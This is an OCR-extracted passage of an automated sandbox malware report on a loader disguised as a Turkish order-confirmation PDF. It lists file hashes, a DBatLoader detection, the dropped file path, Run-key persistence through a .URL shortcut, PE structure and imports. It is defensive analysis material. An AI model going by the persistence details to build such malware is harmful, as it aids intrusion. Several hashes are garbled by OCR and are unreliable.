Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.rans.troj.spyw.expl.evad.WinEXE@9/5@19/5
EGA Information: e Successful, ratio: 50%

HDC Information:

.

Successful, ratio: 59.3% (good quality ratio 42.3%)
Quality average: 52.1%
Quality standard deviation: 41.1%

.

.

HCA Information:

.

Successful, ratio: 97%
Number of executed functions: 0
Number of non-executed functions: 0

.

.

Cookbook Comments:

.

Found application associated with file extension: .exe
Adjust boot time
Enable AMSI

.

.

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe,
wuapihost.exe

e TCP Packets have been reduced to 100

e Excluded IPs from analysis (whitelisted): 20.238.103.94, 20.223.24.244

e Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, displaycatalog-rp-

europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, ris.api.iris.microsoft.com, consu

mer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-pro

d-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.m p.microsoft.com.akadns.net

Execution Graph export aborted for target Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, PID 6356 because there are no executed function

Not all processes where analyzed, report is missing behavior information

Report creation exceeded maximum time and may have missing d isassembly code information.

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.

e o o o o o o
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Simulations

Behavior and APIs
Time
09:42:46

09:42:55

09:43:05

09:43:07

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Type
API Interceptor
Autostart

Autostart

API Interceptor

Created / dropped Files

C:\Users\Public\Libraries\Eluiezitfw.exe ¥ €

Description

1x Sleep call for process: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe modified

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Eluiezilfw C:\Users\Public\Libraries\wflizeiulE.url

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Eluiezilfw C:\Users\Public\Libraries\wfliz

eiulE.url

2x Sleep call for process: Eluiezilfw.exe modified

Process: C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 901632

Entropy (8bit):  6.877204437689639

Encrypted: false

SSDEEP: 12288:VFAa/jmra7RB+8VL4sckZIRDItQXLgL7f/Bm+vym2/r3Ayd3soZdKYcSwuY :jV6rk1VL4oIRDEbgX XtvHy 1XKly

MD5: 8E60C68E832622BOEBD88AG12898A9F9

SHAL: 99C8A0DB1608B7F3FE783829F13A6A594554F142

SHA-256: 6F4628DB14DDCFF78F5BOAD2C62F6791E4B29901EBOEF8A3686A2B7019308A99

SHA-512: 96DE1DEABDA27BB5B24676D9CBB667B15779A166388FC71C345A11C66A521997244FDODEDADFCD3BE73F2E3302B0C90F77231907690590D1F3D8107B0OFOE9S5:
1

Malicious: true

Yara Hits: e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Eluiezilfw.exe, Author: Joe Security

Antivirus: e Antivirus: ReversingLabs, Detection: 22%

Reputation: low

Copyright Joe Security LLC 2022
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Preview:

MZP.. @ 1..L.I..This program must be run under Win32..$7..

“itext....... {0
@..@.reloc..x.

C:\Users\Public\Libraries\Eluiezilfw.exe:Zone.ldentifier @

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

ASCII text, with CRLF line terminators

dropped

26

3.95006375643621

false

3:ggPYVirPYV

187F488E27DB4AF347237FE461A079AD
6693BA299EC1881249D59262276A0D2CB21F8E64
255A65D30841AB4082BD9DOEEA79D49C5EE88F56136157D8D6156AEF11C12309

89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCOCDE1B60FB21CD6:!
E

true
high, very likely benign file

[ZoneTransfer]....Zoneld=0

C:\Users\Public\Libraries\wflizeiulE.url

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Yara Hits:

Reputation:

Preview:

C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Eluiezilfw.exe">), ASCII text, with CRLF line terminators
modified

103

5.011960120240937

false

3:HRAbABGQYMTWAX+rSF55i0XM3tJHYysGKd8V+K+qvn:HRYFVmTWDyzUtJHysbTK+Un

D16E6F915215004FD953F38105469F43

CA05489EF9AFCE5S52299CE05CB029C069C584FC9
1C8419346F48517D46B9281EADOOF10D55E2BBC8B3EC2BI9B25FA45ADC61D8827
D89168D4CFCA4E29E7585B31C3F926F9973D98EC47B15F9660AAD33C6A39D458F0D07A18A0C8C83602D4BFE04651D20AB473D69CF760D5EF28276FC8FAG51C5!
false

e Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\wflizeiulE.url, Author:
@itsreallynick (Nick Carr)

e Rule: Methodology Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source:
C:\Users\Public\Libraries\wflizeiulE.url, Author: @itsreallynick (Nick Carr)

low

[InternetShortcut].. URL=file:"C:\\Users\\Public\\Libraries\\Eluiezilfw.exe"..Iconindex=40..HotKey=878..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OW10PBUV\Eluiezilfwmdrgrdfrgpnwmurrnwnhm(1]

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

data

dropped

279040

7.595146817608574

false
6144:5Htw4G6ymcP6lLkahkaaHTEFBYt+mzZGTxIM9d70gXf8IxBy1q:/6dzHTKBYtXZ26gdogK8q
7D74AF495B07AAD93486870343B767E3

32123E362E845DDE988E09A5A4309172C9762201
152076FOA4EAEDD3FFDC4022C8EOF5850F9B2DEFFFFCBFE1E2B720096CF9600D

28BCY9AD9021A9B0OD38F03BF8D424813CB00DFE85AA272C3C38345A7FC78C6E8A905D90F5D2DA6019CE3E7ALF129F4633127C26BF8EC0710311866725899BEDI
6

false

low
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Preview:

(..9%.9%%%)%%%..%%. %% % % % % %e %% % % %% % %% % % %% % %% %% % % %% %% %% % % %% % %% % %%. %%3..3%.....q..y.DNE..JB.<HE><..J.E.@E.P.ED.Ei*.
EHJ.@S../1%%%%%%%..=..........ceun.. X —— CN— EXoCh R ~IXG (@SN — wD>....u %%4q..%.0%%%%%%%%.%....".%..%%. %%
%%%.n.%%5%%%..%%%e%%5% %% %%6) %% % % %% %) % % % %% %% %. ) %%0-%% % %% %' %. %%6% %% %% % %% %5% %5 % % %% % %5 % %% %% % % % %%
%%..%..%%%u'%.C'%% %% % %% %% % %% % %% %% %% '%. G% %% %% % %% %% %% %% %% % %% % %% %% % %% %% % %% % %% % %% %% %% %% %% % %% %%
9%%% %% %% %% %% % % %% %% % % %% % %% %% % %% %% S SS S%%%%. .. %%5%%%. % %) % %% %% % %% %% %% %% E %%. SSS S%% %%y 5%%%.. %% 7%
%%..%%%%%% %% %% %%%e%%. SSS%%%%%. . %%%.. %% %% %%. . %% %% %% % %% %% % %% %%. SSSSSS%%.. %%%. . %% 3%%%. . %% %% %%
%%%%%%%e%%.SSSSSS%%.G %% %%'%%I%%%.. %% %% %% %% %% %%%e%%uSSS S S%%%. 5%%% U %% 7 %% %. . % %% % %% %% %% %% %e%%uS . .N.>%%%.
C'%%u'%%e'%%" %% % %% %% % %% % %%e %% e % %% % %% % %% % %% %ou' % %% %% %+ %% %% % %% %% % %% Y0e % %u %% % %% % %% % %% % %% % %% % %
%%%%%%% %% %6%% %% % %% %% %% %% %% % %% %% % %% % %% % %% %6%% %% % %% %% %% %% %% % %% % %% %% % %% %% % %% % %% % %% %% %
%%%%%%%%0%%%% %% % %% %% %% %% %% %% %% %% %% % %% %% % %% % %% % %% %% %% %% %% %% %% %% %% % %% %% % %% % %% % %%

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\ Eluiezilfwmdrgrdfrgpnwmurrnwnhm[1]

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Users\Public\Libraries\Eluiezilfw.exe

data

dropped

279040

7.595146817608574

false
6144:5Htw4G6ymcP6lLkahkaaHTEFBYt+mzZGTxIM9d70gXf8IxBylq:/6dzHTKBYtXZ26gdogK8q
7D74AF495B07AAD93486870343B767E3

32123E362E845DDE988E09A5A4309172C9762201
152076FOA4EAEDD3FFDC4022C8E0F5850F9B2DEFFFFCBFE1E2B720096CF9600D

28BC9AD9021A9B0OD38F03BF8D424813CBO0DFE85AA272C3C38345A7FC78C6E8A905D90F5D2DA6019CE3E7ALF129F4633127C26BF8EC0710311866725899BEDL
6

false

(-.%.%%%) %% %..%%. %% % % %% %0e %% % % %% %% % % % %% % %% %% % % %% %% %% % % % %% % % % %%. %%3..3%.....q..y.DNE..JB.<HE><..J.E.@E.P.ED.Ei*.
EHJ.@S../1%%%%%%%.. X. Con kX R~ XG0 R wD>....u %%(..%.0%%%%%%%%.%....".%..%%. %%
%%%.N.%%5%%%..%%%e%%5%%% ' %%0) %% % % %% %) % % % %% %% %. ) %%0-%% % %% %' %. %%0% %% %% % %% %5% %5 % % %% % %5 % %% %% % % %% %o
%%..%..%%%Uu'%.c'%% %% % %% %% % %% %% % %% % %' %. G% %% %% % %% %% %% %% %% % %% % %% %% % %% %% % %% % %% % %% %% %% %% %% % %% %%
%% % %% %% %% %% % % %% %% % % %% % %% %% % %% %% S SSS% % %%. .. %%5%%%. % %) %% %% % % %% %% %% % % E %%. SSSS% % %%y 5%%%.. %% 7%
%%..%%%%%% %% %% %%%e%%.SSS%%%%%. .%%%. . %% %% %%. . %% %% %% % %% %% % %% %%. SSSSSS%%.. %%%. . %% 3%%%. . %% %% %%
%%%%%%%e%%.SSSSSS%%.G%%%%'%%I%%%.. % %% % %% %% %% %%%e%%uS SSSS%%%. 5%%% U % %7 %% %. . %% % % %% %% %% %% %e % %uS .N.>%%%.
C'%%U'%%e"'%%" %% % %% %% % %% % %% e % Yoe % %% % %% % %% % %% %0u' % %% %% Yo+ %% %% % %% %% % %% Y0e % %u %% % %% % %% %% % % % %% % % % %
%%%%%%%%%%6%% %% % %% %% %% %% %% % %% % %% %% % %% %% % %0%% %% % %% %% %% %% %% % %% % %% %% % %% %% % %% % %% % %% %% %

%%%% %% %% % %% % %% % %% %% %% %% %% %% %% %% %% % %% %% % %% % %% % %% %% %% %% %% %% % % %% %% % %% %% % %% % %% %% %

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):  6.877204437689639
TriD: e Win32 Executable (generic) a (10002005/4) 99.81%
e Windows Screen Saver (13104/52) 0.13%
e Win16/32 Executable Delphi generic (2074/23) 0.02%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
File name: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File size: 901632
MD5: 8e60c68e832622b0ebd88a612898a9f9
SHAL: 99¢8a0db1608b7{3fe783829f13a6a594554f142
SHA256: 6f4628db14ddcff78f5b0ad2c62f6791e4b29901eb9ef8a3686a2b7019308a99
SHA512: 96deldeabda27bb5b24676d9cbb667b15779a166388fc71c345a11c66a521997244fd0dedadfcd3be73f2e3302b0c90f77231907690590d1f3d8107b0f0e9541
SSDEEP: 12288:VFAa/jmra7RB+8VL4sckZIRDrQXLgL7f/Bm+vym2/r3Ayd3soZdKYcSwuY:jV6rk1VL40IRDEbgX XtvHy1XKly
TLSH: FB159E25F6C04437C5F21D755C4BA2A59837BF112E2CAC866BES3E4D3F3AA81382D297
File Content @... L.!..This program must be run under
Preview: Win32..$7...
Filelcon
Icon Hash: 74e08889828b84d4
Static PE Info
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General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Entrypoint Preview
Instruction

push ebp

mov ebp, esp

add esp, FFFFFFFOh

mov eax, 004A1F80h

call 00007F953C66CF31h

nop

nop

nop

nop

nop

nop

nop

nop

mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]

call 00007F953C6CD89Dh

mov ecx, dword ptr [004A6C00h]
mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]

mov edx, dword ptr [004A1ADCh]
call 00007F953C6CD89Dh

mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]

mov byte ptr [eax+5Bh], 00000000h
mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]

call 00007F953C6CD906h

call 00007F953C66AA8Dh

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Copyright Joe Security LLC 2022

Ox4a3a58
.itext
false
0x400000

windows gui

EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

O0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]

o » o » O »

5280055d457e9ca268949d0a6c7d827a
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Instruction

add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

add byte ptr [eax], al

Data Directories
Name
IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
Copyright Joe Security LLC 2022

Virtual Address
0x0
0xab000
0xba000
0x0

0x0
0xb0000
0x0

0x0

0x0
0xaf000

Virtual Size
0x0
0x2c80
Ox2al3c
0x0

0x0
0x9d78
0x0

0x0

0x0
0x18

Is in Section

.idata

.Isrc

.reloc

.rdata
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Name

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT

IMAGE_DIRECTORY_ENTRY_IAT

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address
text 0x1000

.itext 0xa3000

.data 0xa4000

.bss 0xa7000

.idata 0xab000

tls 0xae000

.rdata 0xaf000

.reloc 0xb0000

.rsrc 0xba000

Resources
Name

AUDIO

RT_CURSOR
RT_CURSOR
RT_CURSOR
RT_CURSOR
RT_CURSOR
RT_CURSOR
RT_CURSOR
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_BITMAP
RT_ICON
RT_ICON
RT_ICON
RT_DIALOG
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Virtual Size

0xal288

Oxab0

0x2c44

0x38d8

0x2c80

0x40

0x18

0x9d78

0x2al3c

Raw Size

0xal400

0xc00

0x2e00

0x0

0x2e00

0x0

0x200

0x9e00

0x2a200

RVA

Oxbabe8

Oxdc52¢
0xdc660
Oxdc794
Oxdc8c8
Oxdc9fc

0Oxdcb30
Oxdcc64
Oxdcd98
0xdcf68

Oxddl4c
Oxdd31c
Oxdd4ec
Oxddébc
Oxdd8sc
Oxddasc
Oxddc2c
Oxdddfc

Oxddfcc

OxdeOb4
Oxdf2b4

Oxdfch4

0xe02b4

Virtual Address

0x0

0x0

Oxab84c

0x0
0x0

0x0

Xored PE

False

False

False

False

False

False

False

False

False

Size

0x21944

0x134
0x134
0x134
0x134
0x134
0x134
0x134
0x1d0
Oxle4
0x1d0
0x1d0
0x1d0
0x1d0
0x1d0
0x1d0
0x1d0
0x1d0
Oxe8
0x1200
0xa00
0x600
0x52

ZLIB Complexity

0.5252316497093024

0.556640625

0.4107506793478261

0.31326426630434784

0.05078125

0.5820065268987342

0.42494088464391694

Type

RIFF (little-endian) data, WAVE audio, Microsoft

ADPCM, mono 22050 Hz
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data

data

Virtual Size

0x0

0x0

Ox6e4

0x0

0x0

0x0
File Type Entropy
data 6.580947017578751
data 5.90726865777267
data 4.2710329018780255
empty 0.0
data 5.123456156924204

empty

data

data

data

GLS_BINARY_LSB_FIRST

data

data

GLS_BINARY_LSB_FIRST

data

0.0

0.2044881574398449

6.661487991041825

6.66870756771348

Language

English

English
English
English
English
English
English
English
English
English
English
English
English
English
English
English
English
English
English

Is in Section

.idata

Characteristics

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

IMAGE_SCN_MEM_READ,
IMAGE_SCN_MEM_WRITE

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_DISCARDA
BLE,

IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZE
D_DATA,
IMAGE_SCN_MEM_READ

Country

United States

United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States
United States

United States
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Name
RT_DIALOG
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_RCDATA
RT_RCDATA
RT_RCDATA

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_CURSOR

RT_GROUP_ICON

Imports
DLL

oleaut32.dll
advapi32.dil
user32.dll

kernel32.dll

kernel32.dll
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RVA
0xe0308
0xe035¢
0xe0434
0xe0884
0xe0dcO
Oxel06¢
Oxel134
Oxel23c
Oxelde4d
Oxel8cc
Oxelc5c
Oxelfcc
0xe235¢
Oxe242c
Oxe24cc
0xe2784
0xe2bf8
Oxe2f84
0xe3238
0xe3248
0xe3520

0xe4080

0xe4094

Oxe40a8

0xe40bc

0xe40d0

Oxe40e4

0xe40f8

0xe410c

Size
0x52
0xd8
0x450
0x53c
Ox2ac
Oxc8
0x108
0x2a8
0x3e8
0x390
0x370
0x390
0xd0
Oxa0
0x2b8
0x474
0x38c
0x2b4
0x10
0x2d8
Oxb5e

0x14

0x14

0x14

0x14

0x14

0x14

0x14

0x30

Import

Type
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
data
Delphi compiled form 'T__691934005"

Lotus unknown worksheet or configuration,
revision 0x1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision Ox1

Lotus unknown worksheet or configuration,
revision 0x1

Lotus unknown worksheet or configuration,
revision 0x1

Lotus unknown worksheet or configuration,
revision Ox1

data

SysFreeString, SysReAllocStringLen, SysAllocStringLen

RegQueryValueExA, RegOpenKeyEXA, RegCloseKey

TIsSetValue, TIsGetValue, LocalAlloc, GetModuleHandleA

Language

English

English

English

English

English

English

English

GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA

Country

United States

United States

United States

United States

United States

United States

United States

GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadld, InterlockedDecrement, Interlockedincrement, VirtualQuery,
WideCharToMultiByte, MultiByteToWideChar, IstrlenA, IstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupinfoA,
GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocalelnfoA, GetCommandLineA, FreeLibrary,
FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException,
GetStdHandle
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DLL

user32.dll

gdiz2.dll

version.dll

kernel32.dll

advapi32.dil
oleaut32.dll

ole32.dll

kernel32.dll

oleaut32.dll

comctl32.dll

oleacc.dll

winmm.dll

Possible Origin

Language of compilation system

English

Network Behavior

Copyright Joe Security LLC 2022

Import

CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEXx,
TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersinfoA, ShowWindow, ShowScrollBar,
ShowOwnedPopups, ShowCaret, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW,
SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollinfo, SetRect, SetPropA, SetParent, SetMenultemInfoA,
SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow,
SendM geW, SendM geA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC,
ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtinRect,
PostQuitM je, PostM jeA, PeekM geW, PeekM jeA, OpenClipboard, OffsetRect, OemToCharA,
NotifyWinEvent, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA,
LoadlconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IswWindowUnicode, IsWindowEnabled,
IsWindow, IsRectEmpty, Islconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect,
InsertMenultemA, InsertMenuA, InflateRect, HideCaret, GetWindowThreadProcessld, GetWindowTextA, GetWindowRect,
GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics,
GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollinfo, GetPropA,
GetParent, GetWindow, GetM geTime, GetM gePos, GetMenuStringA, GetMenuState, GetMenultemInfoA,
GetMenultemID, GetMenultemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA,
GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetlconInfo, GetForegroundWindow,
GetFocus, GetDesktopWindow, GetDCEX, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect,
GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect,
EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenultem,
EmptyClipboard, DrawTextA, DrawStateA, DrawMenuBar, DrawlconEx, Drawlcon, DrawFrameControl, DrawEdge,
DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, Destroylcon, DestroyCursor, DeleteMenu,
DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, Createlcon, CloseClipboard,
ClientToScreen, CheckMenultem, CharNextW, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA,
CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout

UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode,
SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor,
SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon,
PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits,
GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox,
GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader,
GetEnhMetaFileDescriptionA, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEX,
GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject,
DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenlindirect, CreatePalette, CreateHalftonePalette,
CreateFontindirectA, CreateEnhMetaFileA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC,
CreateCompatibleBitmap, CreateBrushindirect, CreateBitmap, CopyEnhMetaFileA, CloseEnhMetaFile, BitBlt

VerQueryValueA, GetFileVersioninfoSizeA, GetFileVersioninfoA

IstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale,
SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, OpenProcess, MultiByteToWideChar, MulDiv,
LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalSize,
GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion,
GetUserDefaultLCID, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA,
GetModuleFileNameA, GetLocalelnfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileAttributesA,
GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadld, GetCurrentProcessld, GetCurrentProcess,
GetComputerNameA, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA,
FlushlInstructionCache, FindResourceA, FindAtomW, EnumCalendarinfoA, EnterCriticalSection, DeleteFileA,
DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle

RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
GetErrorinfo, GetActiveObject, Variantinit, SysFreeString

CreateStreamOnHGlobal, IsAccelerator, OleDraw, OleSetMenuDescriptor, CoTaskMemFree, ProgIDFromCLSID,
StringFromCLSID, CoCreatelnstance, CoGetClassObject, CoUninitialize, Colnitialize, IsEqualGUID

Sleep

SafeArrayPtrOfindex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData,
SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy,
VariantClear, Variantinit

_TrackMouseEvent, ImageList_SetlconSize, ImageList_GetlconSize, ImageList_Write, ImageList_Read,
ImagelList_GetDraglmage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DraglLeave, ImageList_DragEnter,
ImageList_EndDrag, ImageList_BeginDrag, ImageList_ Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw,
